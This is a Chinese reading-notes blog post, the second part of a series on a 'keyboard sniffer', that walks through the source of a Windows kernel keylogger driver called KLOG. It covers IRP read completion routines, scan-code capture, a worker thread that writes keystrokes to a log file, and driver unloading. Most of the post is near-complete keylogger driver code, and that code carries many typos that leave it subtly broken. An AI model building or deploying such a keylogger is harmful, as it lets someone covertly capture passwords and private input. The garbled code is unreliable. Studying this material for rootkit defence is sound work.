读书笔记_键盘嗅探器(2)
為處理READ請求而調用的例程是DispatchRead。下面具體分析該函數:
NTSTAUS DispatchRead ( IN PDEVICE_OBJECT pDeviceObject, IN PIRPpIrp)
{
當一個READ請求到達鍵盤控制器時,就調用該函數。這時IRP中并沒有可用的數據。相反我們希望在捕獲了擊鍵動作之后查看IRP——當IRP正在沿著設備鏈向上傳輸時。
關于IRP已經完成的唯一通知方式是設置完成例程,如果沒有設置完成例程,則當IRP沿著設備鏈上返回是會忽略我們的存在。
將IRP傳遞給鏈中次底層設備時,需要設置IRP堆棧指針(stack pointer).術語堆棧在此處容易產生誤解:每個設備只是在每個IRP中有一段私有的可用內存。這些私有區域以指定順序排列。通過IoGetCurrentIrpStackLocation和IoGetNextIrpStackLocation調用來獲取這些私有區域的指針,在傳遞IRP之前,一個“當前”指針必須指向低層驅動程序的私有區域,因此,在調用IoCallDriver之前要調用IoCopyCurrentIrpStackLocationToNext;
// Copy parameters down to next level in the stack
// for the driver below us
IoCopyCurrentIrpStackLocationToNext(pIrp);
// Note that the completion routine is named “OnReadCompleion”:
// Set the completion callback
IoSetCompletionRoutine(pIrp,
OnReadCompletion,
pDeviceObject,
TRUE,
TRUE,
TRUE);
將掛起的IRP數目記錄下來,以便等處理完成后再卸載驅動程序
// Track the # of pending IRPs
numPendingIrps++;
最后通過IoCallDriver將IRP傳遞給鏈中的次底層設備,記住指向低層次設備的指針存儲在Device_Extension中的pKeyboardDevice中。
// Pass the IRP on down to \the driver underneath us
Return IoCallDriver(
((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)
->pKeyboardDevice, pIrp);
}// end DispatchRead
現在可以看到,每個READIRP在處理之后可用于OnReadCompletion例程中。進一步對比加以分析:
NSTATUS OnReadCompletion ( IN PDEVICE_OBJECT pDeviceObject,
INPRP pIrp, IN PVOID Context)
{
// Get the device extension– we’ll need to use it later
PDEVICE_EXTENSIONpKeyboardDeviceExtension =(PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;
檢查IRP狀態,它可以當作返回碼或錯誤碼,該值為STATUS_SUCCESS表明IRP已成功完成并且應該記錄了擊鍵數據。SystemBuffer成員指向KEYBOARD_INPUT_DATA結構的數組。IoStatus.Information成員包含了該數組的長度:
If(pIrp->IoStatus.Status == STATUS_SUCCESS)
{
PKEYBOARD_INPUT_DATA keys =(PKEYBORAD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
Int numKeys = pIrp->IoStatus.Information /sizeof(KEYBOARD_INPUT_DATA);
KEYBOARD_INPUT_DATA結構定義如下:
Typedef struct _KEYBOARD_INPUT_DATA{
USHORT UnitId;
USHORT MakeCode;
USHORT Flags;
USHORT Reserved;
ULONG ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;
然后示例程序循環遍歷所有的數組成員,從每個成員中獲取擊鍵動作:
For(int I = 0; I < numkeys; i++)
{
DbgPrint(“ScanCode: %x\n”,keys[i].MakeCode);
注意會收到兩個事件:鍵按下和鍵釋放。對于簡單的擊鍵監視器來說,只需關注其中一個事件,KEY_MAKE是一個重要標志。
If(keys[i].Flags == KEY_MAKE)
DbgPrint(“%s\n”, “Key Down”)l
上述完成例程在IRQL級別DISPATCH_LEVEL上執行,這意味著它不允許文件操作,為了避開這個限制,示例程序通過一個共享鏈表將擊鍵動作傳遞給worker線程。對該鏈表的訪問必須采用關鍵段來同步。內核實施以下規則:一次只能有一個線程執行關鍵段。此處不能使用延遲過程調用(Deferred Procedure Call, DPC),因此DPC也運行在DISPATCH_LEVEL級別上。
驅動程序分配一些NonPagedPool內存,并將掃描碼放入其中,然后將其置入鏈表中。因為運行在DISPATCH級別上,所以只能從NonPagedPool中分配內存。
KEY_DATA* kData =(KEY_DATA*)ExAllocatePool(NonPagedPool, sizeof(KEY_DATA));
// Fill in kData structure with info from IRP
kData->KeyData = (char)keys[i].MakeCode;
kData->KeyFlags=(char)keys[i].Flgas;
// Add the scan code to the linked list
// queue so our worker thread
// can write it out to a file
DbgPrint(“Adding IRP to work queue…”);
ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,&kData->ListEntry,
&pKeyboardDeviceExtension->lockQueue);
// The semaphore is incremented to indicate that some data needs tobe processed
// Increment the semaphore by 1 – no WaitForXXX after this call
KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue,
0,
1,
FALSE);
}
}
If(pIrp->PendingReturned)
IoMarkIrpPending(pIrp);
示例完成了對IRP的處理,將IRP計數遞減
numPendingIrps- -;
return pIrp->IoStatus.Status;
}
此時在鏈表中已保存了一個擊鍵動作,它用于worker線程,下面介紹worker線程的例程:
VOID ThreadKeyLogger ( IN PVOID pContext)
{
PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext;
PDEVICE_OBJECTpKeyboardDeviceObject = pKeyboardDeviceExtension->pKeyboardDevice;
PLIST_ENTRY pListEntry;
KEY_DATA *kData; // custom data structure used to hold scancodes inthe linked list
KLOG進入一個處理循環。代碼通過KeWaitForSingleObject等待信號量。若信號量遞增,則處理循環繼續運行
While(true)
{
// Wait for data to becomeavailable in the queue
KeWaitForSingleObject(
&pKeyboardDeviceExtension->semQueue,
Executive,
KernelMode,
FALSE,
NULL);
從鏈表中安全刪除了最高端項。注意關鍵段的用法:
pListEntry = ExInterlockedRemoveHeadList(
&pKeyboardDeviceExtension->QueueListHead,
&pKeyboardDeviceEntension->lockQueue);
內核線程不能從外部終止,它們只能終止自身。KLOG檢查一個標志以判斷是否應該終止worker線程。該操作應該只放生在卸載KLOG時。
If(pKeyboardDeviceExtension->bThreadTerminate == true)
{
PsTerminateSystemThread(STATUS_SUCCESS);
}
必須使用CONTAINING_RECORD宏來獲得指向pListEntry結構中數據的指針:
kData = CONTANING_RECORD(pListEntry, KEY_DATA, ListEntry);
KLOG獲取掃描碼并將其轉換成鍵盤碼。這通過ConvertScanCodeToKeyCode工具函數完成,該函數只識別美國英語鍵盤布局,盡管它很容易替換為適用于其他鍵盤布局的代碼。
// Convert the scan code to a key code
Char keys[3] = {0};
ConvertScanCodeToKeyCode(pKeyboardDeviceExtension, kData, keys);
// Make sure the key has returned a valid code
// before writing it to the file
If (keys != 0)
{
若文件句柄是有效的,則使用ZwWriteFile將鍵盤盤碼寫入日志:
// Write the data out to a file
If(pKeyboardDeviceExtension->hLogFile != NULL)
{
IO_STATUS_BLOCK io_status;
NTSTATUS status =ZwWriteFile(
pKeyboardDeviceExtension->hLogFile,
NULL,
NULL,
NULL,
&io_status,
&keys,
Strlen(keys),
NULL,
NULL);
If(status != STATUS_SUCCESS)
DbgPrint(“Writing scancode to file…\n”);
Else
DbgPrint(“Scan code ‘%s’successfully written to file.\n”, keys);
}// end if
}// end if
}// end while
Return;
} // end ThreadLogKeyboard
以上是KLOG的主要操作。下面分析Unload例程
VOID Unload ( IN PDRIVER_OBJECT pDriverObject)
{
// Get the pointer to thedevice extension
PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;
DbgPrint(“Driver Unload Called… \n”);
驅動程序必須使用IoDetachDevice函數取下分層設備的鉤子:
// Detach from the device underneath that we’re hooked to.
IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);
DbgPrint(“Keyboard hook detached from device…\n”);
下面使用了一個定時器,KLOG進入一個短循環,直到所有IRP完成處理:
// Create a timer
KTIMER kTimer;
LARGE_INTEGER timeout;
Timeout.QuadPart = 1000000;
KeInitializeTimer(&kTimer);
在某個IRP正在等待擊鍵動作,則直到按下一個鍵后卸載才能完成:
While(numPendingIrps > 0)
{
// Set the timer
KeSetTimer(&kTimer, timeout,NULL);
KeWaitForSingleObject(
&kTimer,
Executive,
KernelMode,
False,
NULL);
}
此時KLOG指示worker線程應該終止:
// Set our key logger worker thread to terminate
pKeyboardDeviceExtension->bThreadTerminate = true;
// Wake up the thread if its blocked & WaitForXXX after thiscall
KeReleaseSemaphore(
&pKeyboardDeviceExtension->semQueue,
0,
1,
TRUE);
KLOG使用線程指針調用KeWaitForSingleObject, 一直等候到該線程已終止:
// Wait until the worker thread terminates
DbgPrint(“Waiting for key logger thread to terminate…\n”);
KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,
Executive,
KernelMode,
False,NULL);
DbgPrint(“Key logger thread terminated\n”);
最后關閉日志文件:
// close the log file
ZwClose(pKeyboardDeviceExtension->hLogFile);
還執行一些適當的常規清理動作:
// Delete the device
IoDeleteDevice(pDriverObject->DeviceObject);
DbgPrint(“Tagged IRPs dead … Terminating ...\n”);
Return;
}
鍵盤嗅探器結束。總結
以上是生活随笔為你收集整理的读书笔记_键盘嗅探器(2)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 禹贡(Yukon)空间数据库 QA 集锦
- 下一篇: ubuntu上安装fcitx五笔输入法